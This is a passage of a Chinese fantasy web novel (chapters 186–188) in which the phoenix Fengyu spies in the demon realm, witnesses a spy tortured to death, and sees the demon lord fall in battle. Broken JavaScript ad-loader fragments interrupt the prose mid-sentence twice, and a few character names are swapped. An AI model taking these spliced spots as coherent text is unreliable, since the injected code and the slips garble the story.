凤钰不着痕迹地拂开他的手,跌坐在床前,摇了摇头:“我见大漠的星辰太美,好似一路奔腾就能通向漫天银河,一时忘乎所以。想我这些年在天界游历,什么陷境没遇见过,没想到这里的风沙如此霸道,差点马失前蹄,还劳烦你出手搭救,真是太没面子了。” 兰阙收回手,安慰道:“凤钰,你非魔域之人,不了解大漠的变幻莫测,并不是你的错。”他微一沉吟:“是我考虑不周,不该在傍晚时分带你过去,我向你道歉。哥哥要是知道,肯定又要说我了。” 凤钰闻言,露出一丝狡黠的笑容:“我这不是没事了吗?既然如此,这件事就不要知会魔主了。” 兰阙没有那么多心思,对凤钰又添了一分亏欠,倒是对他越发亲近起来。 数日后凤钰依约拜访魔域之主。 荒漠之中,一道朱紫色的半月形石门,凝着一层泛着虹光的结界。 凤钰与兰阙在侍卫的带领下穿过结界,一路走过殿前大道,两侧各立十根镶宝珠石柱,宝珠幽幽悬在石柱顶端凹槽,泛着异色光辉。 大道尽头,遥遥一抹寒光之下,耸立着一座暗色琉璃宫殿。宫殿瓦檐外翻如犀角,顶天立地的大理石柱上雕刻着异域图腾,殿身盘踞着两条栩栩如生的石龙,面目凶恶,獠牙似剑,眼珠泛着幽幽绿光。 两人从宫殿穿行而过,待走至殿后,天光陡然打开,黄沙漫卷,尘土飞扬,目及之处皆是昏黄一片。 就在地平线上,两道巨大的黑色阴影一触即分,空中闪过几道闪电般的光影,尘土弥漫,如同拢上一层浑浊的幕帘,几息过后如氤氲逐渐飘散。 大战未歇,“唰唰”几声,遮天蔽日的飞天魔兽煽动翅膀,它似龙非龙,长着龙首龙爪,却有鸟尾和羽扇般的翅膀。形态诡异,奇大无比。 而地面上与它对峙的凶手,却是一只体型庞大的老虎,獠牙外露,有小臂粗,身上长满奇异的鱼鳞。 忽而一道寒光随风乍现,劈向地上目眦欲裂的凶兽,而凶兽口中含着烈焰般的光球也在瞬间向它掷去。 两道力量排山倒海而来,烟尘如瀑,凤钰与兰阙纷纷以袖掩面,脚下沙土下陷,留下几米深深的划痕。 待尘土散去,两人放下袖子时,眼前的战况又经历几轮变换。 只见飞天魔兽脊背上骑着一高大魁梧之人,一手挥舞着雷霆战戟,摩擦间发出赫赫声响,如同闷雷一般。 凤钰定睛一看,只见那长戟恍若附着着一层氤氲之气,泛着深沉又霸道的紫。天地乍然一白,如同闪电自上而下劈落,风鸣雷烁、紫电闪灼。 长戟脱手而出,就在凶兽转身欲逃之际,如同长了眼睛一般,牢牢将它的脖颈钉在地上。 凶兽怒吼一声,连连挣扎,口中咬碎的光球,如同流星雨向那人坠去。 他不惧不让,扬手一挥,一道看不见的屏障抵挡在身前,在雨点般的攻击下晃过几道虚影。 凶兽挣扎无果,渐渐脱力,攻击也愈渐势微。 再仔细看时,那只盘踞沙堆的凶兽已被铁链束缚,长着大口急促喘息。而绳索的另一头,半空中扇着翅膀的魔兽缓缓降落。 身披厚重的黑铜鳞甲,腰束兽面金带,全身整备齐全的兰霄从兽背翻身而下,抬眼间,那双凛然的双眼穿过漫长距离,向他们二人望来,眸光深不可测、嘴唇紧抿,严肃的神情似乎还未从方才的战役中回过神来。 他身后即是那只倒下的凶兽,庞大的躯体与他的体型相差数倍,但他的气势却丝毫不逊色。 “哥哥!”兰阙朝他招了招手,带着凤钰向他走去。 走至跟前,凤钰朝兰霄作揖,挂着他一如既往的笑容:“魔主大人圣安,凤钰特来拜会。” 兰霄呼吸之间,眉间的阴鹜散去,将颈间的系带松开,如同初见般朗声道:“凤钰公子。” 适时身后那头巨兽不安分地挣扎了一下,兰霄冷眉一瞥,转身将如同长鞭的铁链狠狠抽打在它身上,动作果决狠辣,没有丝毫犹豫,空气中立即浮现浓浓的血腥味,而那凶兽顿时没了声响。 凤钰不觉呼吸一顿,嘴角浮现一丝不易察觉的讽刺。 饶是兰阙已经看惯了这般场景,仍是忍不住皱眉道:“哥哥......” 兰霄睨了他一眼,冷声道:“这畜生在天界为非作歹,坏了魔域的名声,教训它是应该的。” 兰阙本欲争辩,却见哥哥的目光不善,将话吞进了肚子里。 凤钰仰头望向他身后匍匐的巨兽,感叹道:“听闻魔域盛产凶兽,百闻不如一见,如此庞大凶悍,真让人两股战战。魔主道高魔重,竟然能在几招之内将此兽降服,怕是天界都找不出第二人了。” 兰霄将手上的铁链扔给身侧的侍卫,与二人向宫殿走去,边走边道:“不过是个不通心性的魔兽,想必凤钰公子也能轻易制伏。” 凤钰恭维道:“哪里哪里,鄙人这一身花架子,光顾着好看了,委实不经用啊。” 几人从虹色结界进入魔宫,又从暗色琉璃宫殿前的廊桥穿过,桥下一弯半月型的池塘,不知种的什么花,株株花蕊如小灯笼,在昏暗中发出莹莹幽光。 一路上兰霄威风赫赫地走在人前,偶尔向旁侧瞥了一眼,与凤钰有一搭没一搭地说话。凤钰脸上始终擒着客气的笑,话语圆滑,让人找不出错处。 兰霄眼底漠然,行至半道,突然问:”凤钰公子,天帝近来可好?” 凤钰带着些许遗憾笑道:“魔主有所不知,我云游在外多年,与天帝无甚交情。天帝如何,我还真不知道。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “是么。”兰霄顿了顿,目光不经意地落在他身上:“沧澜宴上,我见你在一众仙人的面前,对天帝天后的应答很是熟稔。” 凤钰挑了下眉:“哈哈,我怎么说也是天地间唯一的金凤凰,又比天帝天后虚长几岁,就算当着一众仙人的面儿,也做不到半点卑躬屈膝。哎呀,看我又得意忘形了,魔主见笑,这些话可千万别同别人说啊。” 凤钰的身影倒映在兰霄漆黑的眸中,如黑夜流亡的舟,四周深不可测,无一星半点光亮。 兰霄略略抬了一下唇角:“论阅历天帝何能及君,凤钰公子这些年应受了不少委屈。” 凤钰一愣,倒是有些不是滋味。 兰阙猫儿一般的眼眸在他俩之间一转,眼中带着些许同情喃喃:“凤钰......” 凤钰突然哈哈大笑起来:“魔主多虑了,在天庭阅历有何用?身份才是最重要的。我云游四海,没个落脚的地方,有没有不都一样吗?”只有他自己知道这话背后的落寞,他虽不甚在意身份地位,但架不住那些神官狗眼看人。这些他风光下看不见的阴霾,是不能让任何人发觉的。 他未注意到身侧兰阙明澄澄的眼中划过一缕疑虑,偏头望向他时,好似顿悟了什么,却又消散在无人知晓处。 几人继续前行,途径一座高耸的六角猗望台,底部由四方石阶组成,灰黑色外墙只在高处四面开口,如一座封闭的囚笼,顶部又向上延伸出一小亭,六角飞檐如翚斯飞。 登猗望台上,风云变幻,大漠凛然的风卷起黄沙无数,如一缕轻扬的薄纱在空中飞舞。 无尽荒漠中的城池如暗夜星辰,阡陌交通,一览无余。 兰霄于高台上睥睨魔域,将风景尽收眼底,余光瞥见凤钰目色微怔,问:“凤钰公子,对此情此景有何见解?” 凤钰收回目光,略略弯了下唇角:“魔主见笑,大漠风光如若用四字来概括,便是险、峻、奇、绝。如此险象环生之地,魔域就如同荆棘里开出的花,美则美矣,却会扎人。” 兰霄面色不改:“越是美丽的东西越是危险,若无自保之力,美就会沦为野兽的饵料。” 凤钰颔首:“魔主说的是,魔域泱泱,数万年立与天庭、青丘平分秋色,靠的自然不是区区风光。”他点到为止,却没有继续往下说了。 这不禁引起兰霄的兴趣:“凤钰公子,你到访魔域这些天,应当对魔域有所了解。不知有何看法?但说无妨。” 凤钰眨了眨眼睛,故作深思片刻道:“魔主这可问倒我了。不满您说,我未曾到访魔域时,曾听小道仙闻说魔域一片荒芜,境内混乱无序,魔族皆凶恶残暴,更有魔兽出没。 "不过我在天界游历多年,也明白耳听为虚眼见为实的道理,不然也不敢孤身闯入魔域。我一来魔域便发觉与传闻大不相同,魔域内不说秩序井然,却也安居乐业。至于魔兽,我来了这些天,今日还是头一回见。 “何况天界其他地方可没有红宵苑这样有趣的地方。红宵苑的姑娘大多天姿风韵,性情使然,与我天生一对......咳咳......" 感受到一旁兰阙的目光投来,凤钰不自觉收起不正经的模样,凝神道:“不过魔域之所以能立于天界,让众仙闻风丧胆,却是与传闻中的暴戾凶残脱不开干系的。若是有朝一日,让众仙发现魔域也可以讲理,岂不是会人看轻了去?” 兰阙不经蹙眉道:“文明衍生出秩序,有何不好?魔族也有平民百姓,越是底层越需要秩序,天庭与青丘也是如此发展过来的。为何我们不行?” 兰霄眸色深不可测:“依你看,应当如何?” 凤钰唇角浮现一抹不着调的笑:“两位贵人真是高看我了,我哪里知道应当如何。我只是觉得文明忌讳趋同,魔域从无序走向有序,不免效仿天庭与青丘,可若是魔域有一天变得和天庭、青丘别无二致,谁还会认为魔域是魔域呢?” 兰霄眼底掠过一道暗光,胸腔发出几声沉闷的笑声:“凤钰公子如此才能见解,在天庭居然没有谋个一官半职,是天帝看走了眼。你在天界漂游数万年,再美的风景也该看厌了,不如找个地方歇一歇。你若是能留在魔域,不出百年定能升官加爵,风光无限。” 画饼么,凤钰怎么可能听不出?不过他已经认下了天帝的饼,于情于理,都不该再吃魔域之主的饼。浪荡纨绔他认了,临阵倒戈真小人也。 凤钰委婉道:“魔主谬赞,我自天地初开就诞生于世,眼看着天界三分,衍生出各自疆域与族群,再逐步发展成现在这副模样。身份地位于我而言,都是身外之物,我从未想过未来如何,也不愿被束缚。只要一想到我的决定会影响他人的命运,就头痛难忍,巴不得速速脱身,我这样随心所欲的人,哪里担得起魔主的重用。” 兰霄还想继续劝说,却扫到瞭望台下有侍卫沿着大道匆匆奔来,他身后方才还晴空万里的天不知何时笼罩上一层压抑的阴云。 侍卫不消片刻上楼,脸色煞白地跪在兰霄身前禀报:“魔主!方才那只魔兽突然挣脱了锁链,打伤几名侍卫,往城里的方向去了。” 兰霄余光貌似暗暗瞥了凤钰一眼,转向侍卫厉声问:“怎么回事?” 侍卫一顿,紧张道:“属下也不知。那畜生原本奄奄一息,就在关入牢笼之际突然暴起,我们反应过来时,已拦它不住。我见情况不妙,赶来禀报。” 兰阙不等他说完提身而起,从高耸的瞭望台上一跃而下,清影如一道疾风簌簌降落。凤钰见此眼底掠过一道深思,来不及向兰霄行礼,也匆匆追出猗望台外。 187. 第 187 章 刚追出几步便见魔宫一侧乌云压顶,混沌城池之外,黑沉沉的身影随着喘息微微起伏。 仿佛感受到了他的视线,那巨大的魔兽偏过头向他看来,一双眼睛瞪得如同两只硕大的灯笼。 凤钰脚步一顿,身上竟然浮现了一层寒意。 魔主兰霄生性狠戾,他凤钰到访魔域的消息一经传出,兰霄不可能不疑。他自知兰霄难以接近,于是转而攻略兰霄的弟弟兰阙,可兰霄却不是那么容易放下心防的人。 他知今日来魔宫兰霄定会试探他,方才便是兰霄放出的威慑和利诱,现在这一出又是什么?难道让他去送死? 那抹蓝色的身影已追至魔兽近前,凤钰不禁感到疑惑,若是兰霄有意借魔兽失控除掉他,为何不阻止兰阙?难道是利用兰阙引他入瓮? 六角绮望台上,兰霄面色深沉地凝视着不远处凤钰滞缓的身影,黝黑的眼眸沉如静水,未显露一丝波澜。 凤钰无时间多想,耳旁传来几声巨响,魔兽与兰阙已经开战。他硬着头皮上前,将兰阙护在身后。 鲜艳的橘色衣摆在眼角绽放,兰阙避开魔兽一击,稳住身型与凤钰对视一眼,眼中爆发出别样的光彩。 凤钰心下了然,不论兰霄所求为何,兰阙八成不知情。 正当兰阙晃神时,魔兽口中突然爆发出一股刺眼的光,强大的魔气如飓风席卷,瞬间将他抛向半空。 兰霄在空中翻滚,很快稳住身型,于飓风中大袖一挥,破空而出,一脚踢上魔兽的脑袋,将它踢得踉跄几步。魔兽晃晃脑袋,面露凶光,鬓发乍起,吐出一口魔气,如浓烟弥漫,向兰阙逼来。 兰阙迅速后退,与凤钰错身而过。那抹艳丽的身影不退反进,唇边还有一抹若有若无的冷笑。 凤钰广袖如云,双掌一开一合突然狂风大作,一道旋风拔地而起,风凌厉如刀,落在魔兽身上如腕骨之痛,魔兽嘶吼一声,彻底失了心神,不管不顾地四处攻击。 凤钰在空中连跳三下,不慌不忙地避开,正暗暗得意之时,那魔兽却突然掀起一掌,将半空中的兰阙击落。 凤钰大惊,本想上前救人,余光窥见远处黑影,眼底划过一缕暗光。本欲攻击的手默默收回,突然纵身一跃,宽大的袖摆像打开的扇面高高扬起,将身体覆在兰阙之上。 兰阙受了魔兽一掌,肩旁无法动弹,正挣扎着起身,突然被凤钰挡在身下。他瞳孔微张,清澈的眼眸倒映出魔兽抬起粗壮似象足的腿,倒吸一口冷气:“凤钰......” 千钧一发之际,滚滚阴云间突然劈下数道闪电,将魔兽逼得倒退三步,腿上冒出几缕青烟。刺目的电光在魔兽周身降落,犹如一座囚笼将它禁锢在一方天地。 魔兽嘶吼一声,声音震耳欲聋,似乎在发泄心中不满。 下一刻,身披黑铜鳞甲的魔主兰霄从天而降,雷霆战戟上缠绕着滋滋闪电,上能通天,下能入地。他毫不畏惧地一手握紧,仿佛天地都在他的掌控之中,阴沉的天地随之变得惨白。 “凤钰公子,你没事吧?”兰霄狭眸望向他与兰阙。 凤钰从兰阙身上下来,抖了抖衣袖,脸色竟白了几分,还强装镇定道:“不碍事。” 兰霄沉郁的眸子落在魔兽身上,冷沉地问道:“这畜生竟敢冒犯贵客,凤钰公子,你说我该留它一命吗?” 凤钰见他已有杀心,斟酌了一下道:“魔主,魔兽不明是非,打伤侍卫,欲伤害兰阙,是有大错。但世间生灵并非生来就懂得辨别善恶对错,这样强大的魔兽百里挑一,若是能加以规训,假以时日为您所用,岂不是将一件错事变为了一件好事?”他不是真的在意这畜生的死活,而是将选择又抛回给兰霄,不引他怀疑罢了。 兰霄眸色不改,沉甸甸的目光似乎穿透他的身体,将一颗心看得明明白白。凤钰不寒而栗,背后浸上一层冷汗。 兰阙站在他身后附和道:“哥哥,我觉得凤钰说的有理......” 兰霄抬手打断,不远处赶来大批侍卫将魔兽团团围住,兰霄思忖道:“将这畜生看押好了,要是再让它逃出来,你们就不要来见我了。” 兰霄一拂袖落在兰阙身前,将他打量几眼,语气重了几分:“让你平日里多精进术法,你都做了什么?这次若不是凤钰公子在场,后果不堪设想。” 兰阙垂头道:“是我不小心......” 兰霄冷沉道:“还嘴硬。我魔宫无人吗?需要你冲上去对付?” 兰阙抬起执拗的眼睛:“哥哥,我好歹是巡卫司统领,一听魔兽往城里去了,我理应出面阻止。”说着说着眼睑又垂下来:“不过是我轻敌了,这魔兽今日不知是怎么了,竟然比往常要迅猛许多......” 兰霄镇定地望着手忙脚乱收拾残局的一众侍卫,冷哼一声:“定是看管的人中出了岔子,回头让人好好查查。” 他又看向凤钰,眸色晦暗不明:“凤钰公子到访魔宫,没想到居然出了这种事,今日让兰阙作陪,改日再邀你同饮。” 凤钰作揖道:“魔主贵人多忙,不必将我放在心上,若是有一日感到烦闷,可叫人传话,我定入宫为魔主解乏。” 黄沙漫天,如飞霜落雪,洋洋洒洒,将一切隐秘掩藏在荒漠中。 魔主请君入瓮,三试凤钰,未探出端倪,虽未掉以轻心,但也没有再步步紧逼。 可凤钰却在很长一段时间没有找到下手的机会。 一晃数月已过,天庭来信,催问锁魂铃下落。凤钰一拖再拖,拖无可拖,只能犯险潜入魔宫。 朱紫色的半月石门前,结界虹光一闪,凤钰扔开陷入昏迷的侍卫,悄然步入魔宫。今日为避人耳目,他穿上了隐身袈衣,轻如灵燕地掠上房檐,纵身跃入寝殿。 天边一轮弦月高挂,清泠泠的月色被禁锢在园内一方小池中,寒风惊颤,打破了平静的水面。 他紧紧贴房柱之后,屏息凝神,透过窗棂缝隙向房内打量,眼中划过一抹熟悉的蓝色。 他身体一顿,有些声音不自觉钻入他耳中。 “凤钰来自天庭,虽然他整日风花雪月,但谁也不知他究竟站在哪边。他这次来魔域若是只顾玩乐倒还好,若是有其他目的,恐怕来者不善。” 兰霄低沉的声线打破了夜的寂静,凤钰看不见他的神情,亦无法从语气中揣摩意图。他知道魔域之主和孟虞不会轻易相信他,但他这几个月除了玩乐之外无事可做,他们找不到证据便无法对他下手。 兰阙清透的声音传来:“我一直陪在凤钰的身边,他没有奇怪的举动。哥哥嫂嫂为何如此紧张?” 孟虞幽幽道:“这些年天界不太平,前有华胥族分崩离析,引得人心惶惶。我们表面与天庭、青丘交好,实际三地的利益始终无法达成共识。 “凤钰在天庭虽然无一官半职,但他总归是向着天庭的。我们与天庭总有一天会站在对立面,你若是轻信了他,那时该怎么办?” 兰阙不知是何想法,很长时间没有出声。凤钰在他的沉默中心跳加速,竟然想要走近了去看看兰阙此时是什么神情。是恍然大悟?还是纠结后悔?兰阙有没有对他心生后怕?他会怎么做? 兰阙顿了顿:“我知道哥哥嫂嫂在担心什么,他确实有问过我远古氏族的事情,但我说的都是书上看到的内容。我与华胥氏交往甚少,也从未见过那几样宝物。他问不出什么,留在魔域只是空耗时间。” 凤钰在魔域境内去了哪里、做了什么,孟虞不是不知道,她只是想看看兰阙是什么想法。 孟虞语气缓和了些,叮嘱道:“你若能交到知己,我和你哥哥理应高兴。但如今天界局势未明,你们立场不一,须多加小心。要是有什么事别憋在心里,兰霄就你这么一个弟弟,他只希望你能单纯自由地活着。” 凤钰只觉心头烦闷,呼吸急促起来,他无法确定兰阙的话是否说的是锁魂铃,但魔域和华胥氏一定有所关联。他原本以为兰阙温良单纯,看来也并非没有防人之心,竟是他小看了兰阙。 这一分毫的错乱,让兰霄觉察到不对劲,向窗外厉声喝道:“什么人?”继而纵身跃出,夜空中浮出一批隐秘的侍卫,向凤钰所在之处围过来。 夜风仿佛陡然静止,周遭的声音被无限放大,呼吸越来越近,步履踩在草地上细碎的摩擦声从四面渗透,藏在房柱的阴影下的凤钰腹背受敌。 他的眼睫飞快眨了眨,若是在此时被兰霄发现,一切前功尽弃,就算侥幸逃脱,天界也没有他容身之处了。 凤钰暗暗攥紧拳,看上去面色不改实则心如擂鼓,竟隐隐升起几分后悔之意,听信天帝的话,替他犯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 险。 “出来!”兰霄站在清冷月色下幽沉如鬼枭,爆喝声如同箭矢钉在凤钰身后的房柱上,让凤钰不禁微微战栗。 凤钰咬了咬牙,刚欲提步而出,却听见草丛中传来窸窸窣窣的声音,继而一名侍从打扮的人走了出来。 兰霄眼中暗含血色,在幽幽夜色中如同嗜血的野兽紧紧盯着猎物,蓄势待发。 “你可知这里是魔主寝殿,没有命令不得入内。你是什么人?鬼鬼祟祟做什么?” 那名看上去平平无奇的侍人讪笑道:“魔主饶命,我不小心走错了,我这就离开。” 他向外走了两步,见一众侍卫没有退让的意思,又道:“夜已深,还是赶紧让我回去,免得打扰魔主大人歇息。” 兰霄抬眼冷冷瞥了他一眼,侍卫突然上前将他押下,那人惊叫道:“你们做什么?” 这时孟虞和兰阙也从房中走出,孟虞看了兰霄一眼,对那人厉声道:“是谁派你来的?你听见了多少?” 那人挣扎道:“我什么也没听见!什么也不知道!” 侍卫喝道:“从实招来!”话音未落,便一脚踢在他膝弯处,逼得那人重重跪倒在底。又从腰侧抽出长剑架在他颈边,锋利的剑透着凉薄的幽光,一股寒气顺着剑尖渗入衣襟。 那人垂下眼睑,眼底掠过一道光,扑到在地上哀求道:“魔主开恩,我真的是走错了,我不是有意的。”说着,连连磕头。 凤钰隐于房柱后,仍旧不敢轻举妄动,但此人的出现转移了兰霄的注意,让他暂且能好好思考一下自己当前的处境。 兰霄身上寒气逼人,手中渐渐凝起一团紫色魔气。那人眼中生出惊恐之色,向后瑟缩了一下,叫道:“魔主饶命!魔主饶命!” “你说还是不说?”兰霄沉声问。 那人点点头又摇摇头,似是被吓傻了一般。 兰阙见了有些于心不忍,刚欲上前开口劝阻,身形一动就被孟虞的眼神牵制。孟虞微微摇摇头,兰阙不解地拧眉,发出无声质疑,但孟虞只是淡淡挪开眼去。 园内忽的寒风乍起,兰霄挥袖间魔气涌出,那人顿时脸色大变,后退之路被侍卫堵住,他提身而起想要突出重围,却被魔气团团围住。 不消片刻,他双目突出,脸色变得惨白如纸,身体发出几声脆响,扭曲成一个极其诡异的形状,好似五脏六腑、骨骼关节尽数错位。 他发出剧烈的惨叫声,声音在幽静的魔宫中犹如一记尖锐的哨音,又迅速沉寂于茫茫夜色中。 凤钰微微睁大眼睛,他知道兰霄性情暴戾、手段残忍,若是落入他手中生不如死,但亲眼所见还是心中一震。 “说。谁派你来的?”兰霄再次问。 那人痛极反而收敛起畏畏缩缩的样子,咧嘴惨笑道:“兰霄,你除了能折磨我,还能做什么?”四周混沌烟云逐渐散开,兰霄眼中划过厉色:“你总算承认了。” 他跌倒在地,突然哈哈大笑:“魔主啊魔主,要想人不知除非己莫为,你与华胥氏沆瀣一气,纵容魔族在天界作乱,是为天界不耻!世人不容!总有一天会付出代价!魔域必败!魔域必败!” “大胆!”不等兰霄发话,侍卫一剑贯穿了他的喉咙,将他放肆的笑声堵在胸口,可他定格在此刻,脸上神情依然笑得灿烂又张狂,好似已经得到了想要的结果。 “魔主,是否继续追查此人背后线索?”侍卫问。 “不必。”兰霄冷淡望着尸体,眸光幽幽透着凉薄,仿佛已然知晓他身后主使。 兰阙不忍地撇开头,孟虞轻轻拍了拍他的肩头,命人将他送出魔宫。 不消片刻,寝宫内已收拾干净,园内喧嚣退散,恢复幽暗寂静,如同什么也没发生过一样。 待一切尘埃落定,凤钰又等了半晌,才悄然跃上房檐,惴惴不安地离开魔宫。 凤钰坐在房前的台阶上吹了一夜冷风,头脑清醒了许多。 今日发生之事历历在目,那名突然跳出的侍从,约莫是天帝在兰霄身旁布下的棋子,突然暴露自己身份,极有可能是为了掩护他。 是他掉以轻心,忘了自己在做的究竟是何等危险之事。 破晓时分,他秘密向天庭传递了一个消息,告知天帝,魔域与华胥氏确有关系,但尚未找到锁魂铃。 188. 第 188 章 凤钰依旧每日在魔域花天酒地,坊间都知道新来了个出手阔绰、仪表堂堂的公子哥。他一贯招摇过市,对自己的行踪并不有意避讳,好似真的只是来魔域图个新鲜。 魔域从蛮荒之地演变而来,并非所有的魔气都是可控的,时常有吸食了魔气失控的妖兽在天界各处作乱。本着谁出错谁解决的原则,一般由魔域派人收拾残局,天庭、青丘不会多加干涉。 凤钰在魔域摸鱼的第十五年,魔域以北与天庭交界处出现了一只凶残的魔兽颛靡。 据说这只魔兽拥有人的意志,在魔域潜伏了许多年后,突然冒出来为非作歹。他从魔域边境穿过,所过之处寸草不生,摧毁一众房屋农田,也残害了不少妖兽魔仙。 天界怨声载道,许多“有识之士”平日里不见踪迹,如今纷纷跳出来指责魔域管教不严。 凤钰乍听之时还觉得这只魔兽挺励志,如果没有多年的潜伏,在魔域境内应当早就被消灭了,怎么能闹出这么大的动静? 可渐渐地,他觉察出风声有些不对劲,言论以此事为引,不知从何滋生出许多对魔域长期以来的不满与鄙夷,随之附和的声音没有上千也数百,声势如同滚雪球一般越来越大。 天界三分境地,但三地怎么可能平起平坐? 魔域的声誉急转而下,形势一片严峻,魔域人心惶惶,街头巷尾弥漫着一股阴郁气息。 不久,魔宫宣布由孟将军不日带兵讨伐魔兽。孟将军虽为女子,但骁勇善战、屡获奇功,犹如定海神针,魔域境内的气氛略有好转。 又七日,魔宫收到战报,颛靡狡诈残暴,魔兵不敌,死伤惨重,孟将军失踪。 此事出乎意料,巡卫司统领兰阙请命前往支援,被魔域之主驳回。 一日后,魔域之主兰霄御驾亲征。 兰阙奉命守在魔宫代行职责,夜里他将兰渊哄去睡了,自己孤身一人在大殿上彻夜难眠。 门外风声呼啸而过,空寂的大殿中,他的影子随着烛光摇摆不定。 殿外忽然传来急促的脚步声,他立刻从宝座上站起来,冲下台阶,却见到宫中的侍从点着灯从黑夜中一步一步走来,渺渺灯火像一颗坠入尘世的星星。 侍从身后鲜艳的橘色在暗夜中依旧耀眼,他宽广的衣袖随风飘扬,像一团燃烧的火焰,被暖黄灯火浸染的眉眼少了往日的轻浮,多了一丝深沉与凝重。 兰阙湛蓝纹兽长袍几近融入夜色,他倚靠在殿外的金柱上,待凤钰从侍从手中取走灯笼,带着那团暖意独自靠近,幽幽叹了口气。 “你来了。” 凤钰轻轻应了一声,看到兰阙憔悴的模样,他竟然有些说不上的滋味。好像有什么东西悄然变化,在他尚未察觉的时候,在他不想承认的地方。 他抬高几分声音,故作轻巧道:“我知道你睡不着,所以过来陪你。你看你这副神情,活像是找不到家的孩子,要是被魔主和孟将军看到了一定会笑话的。” 兰阙嘴角微颤,笑容的雏形僵在唇边,他笑不出来,挪开目光,低声说:“我竟然从未想过哥哥肩负了多少责任。” 他抬头望向夜空中几颗黯淡的星辰,眸光闪烁:“我从小就生活得无忧无虑,饮食起居、读书交际,哥哥都替我安排妥当,从不逼迫我做不想做的事。他总是将我保护得很好,将外界的一切都承担了下来,不让我受到一丝伤害。我知道天界的局势并不安稳,也知道外界是如何看待魔域的,只是我不愿承担这些责任,我以为那些事情离我还很遥远,所以一直躲在了哥哥身后。” 兰阙露出一丝苦笑:“我可是魔域之主的弟弟,怎么性情如此温良?有时候觉得,我可能还不如渊儿呢。” 凤钰知他心中担忧,拍了拍他的肩膀,宽慰道:“别多想,魔主和孟将军一定会平安无事地回来。” 天快亮时,魔宫大门外起了动静。一名形容不整的魔兵从门外闯入,不顾侍卫的阻拦,踉踉跄跄跃至殿前。 他身上的皮肤没有一处完好,残破的盔甲上血迹斑斑,左肩以下空无一物。一见兰阙圆瞪的双目几乎要冲出眼眶,呜咽一声,嚎啕大哭起来。 兰阙面色惨白:“发生何事?可是有消息了?” 魔兵长跪不起,低垂着头,一口血水喷在他的靴上,蓝色的花纹染成了黑色。 “快!医官呢?宣医官!”兰阙的声音止不住颤抖。 魔兵微微抬起头,抓住兰阙的衣角,张开充斥着血水的口,似乎想说什么。兰阙立刻跪下,匍匐在他身侧,听见含混不清的声音道:“孟将军......被颛靡杀害,魔主中了他的圈套......与颛靡同归于尽了......”话未说完昏死过去。 “你说什么?”兰阙哑声问,声音因惊惧扭曲,仿佛一股撕心裂肺的痛苦从喉头挤压而出。 “来人,来人......”兰阙几次未能从地上爬起来,被凤钰搀扶起身,冲侍从吼道:“医官呢!派出去的其他魔兵呢?派去了三千余人!难道......难道就回来一个......” 突然,殿侧的柱子后发出声响,留下了一个仓皇的背影。 “渊儿......渊儿!”兰阙想追,脚步一乱急火攻心,狠狠摔在地上。 那名魔兵浑身上下血肉粘连,伤势惨重,兰阙拨了魔宫最好的药吊着他的命。他带回来的消息震惊了整个魔域,也揭开了魔域动荡的万年历史。 孟将军率领的魔兵不敌颛靡,孤身奋战到最后一刻,被魔兽撕碎。魔域之主兰霄闻讯痛心疾首,在与颛顼对抗三天三夜,心力交瘁下被颛靡打伤。魔兵尽数覆灭,已无获胜的希望,兰霄最终使出一样威力巨大的法宝与颛靡同归于尽,魂飞魄散。 魔域之主与孟将军双双牺牲,只留下一个性情纯良的弟弟和一个少不更事的孩子,让魔域本就不好过的日子雪上加霜。 兰阙不愿相信,前往战场一看究竟,却连一处衣角都没有找到,苍茫天地间再无兰霄和孟虞的气息。 他悲痛欲绝,仿佛一夜之间长大,那双清透的眉眼染上皑皑霜雪,沉重的嘴角如同压着巨石,如松柏傲立的身影总是裹挟着淡淡的落寞。 形势所迫,魔域不能一日无主,他还要保护好兰渊,于是在发丧期间低调继位。而兰渊因当时尚未成年,过继到了兰阙名下,并在兰阙继位当日便宣布兰渊将是下一任魔主。 关于前魔域之主兰霄最后使用的法宝是何物,当时众说纷纭,有的人说那是魔域专门对付魔兽炼制的法器,有人说那是从天庭偷来的秘宝,但究竟是什么始终没有定论。 曾有人前往战场一探究竟,但本该生灵涂炭之地,竟然山清水秀,没留下一点战斗的痕迹,自然也没有法宝的踪迹。 凤钰却隐隐约约察觉事情并不简单,兰霄临死前使用的是否就是华胥族遗落的法宝锁魂铃?锁魂铃的威力竟然能引发山河覆灭,也能让万物生灵复苏,难怪天帝觊觎。 谁也不知道经此一役之后锁魂铃是否还在世上?至此,锁魂铃的线索断了,在之后的几百年间下落不明。 兰阙继位后搬入魔宫,凤钰则暂时留在了魔宫的偏殿。继位大殿后,兰阙很快投入繁琐的政务中。兰霄留下了很多身后事,兰阙在此之前从未接触过,只能从头学起。 某日夜里,凤钰正要合衣入睡,忽然听见空寂的魔宫中传来一缕悠扬的笛声,笛声婉转绵长却有一股说不出的凄哀。凤钰起身在膳房拎了两坛酒和一笼小菜,跃过几处房顶,跳进兰阙的寝宫。 凤钰的衣裳太过醒目,在他进入寝宫的刹那,笛声断了。 他孑然立于屋顶,月光如水映着他皎洁的脸庞,他放下唇边的笛子,静默在夜空中与凤钰遥遥相望。 天色太暗,凤钰看不清他的神情,只觉得他身上的仿佛压着一座大山,再也找不到初见时的轻松快意。 凤钰受不了这种压抑的气氛,于是在两人石化之前举起手上的酒坛,咧嘴一笑:“清风明月,良辰美景,不如小酌一杯?” 兰阙沉默半晌,点点头。他是羡慕凤钰的,羡慕他素来一个人,便不知亲人离去的痛苦,也羡慕他没有牵绊和责任,所以能在天界逍遥自在。 两人并排坐在瓦檐上,对月举杯。两杯酒水下肚,兰阙的眼神已有几分迷离。 凤钰调侃道:“当年你将我灌醉,我都没有讨回来。没想到你的酒量这样差,这可是最最寡淡的清酒。” 兰阙的眸光闪烁,捏着酒杯,浅浅地笑了一下,笑得既勉强又尴尬。 “我太想醉了。在哥哥嫂嫂走后,我没有一天能睡好,只要一闭上眼睛,就是他们的音容笑貌。我不想回忆,但是那些画面在我脑海中一遍又一遍上演,连他们衣服上的纹样我都记得清清楚楚。但我又怕哪一天我突然忘了,忘了他们的样貌神情,忘了他们曾经说过的话......” 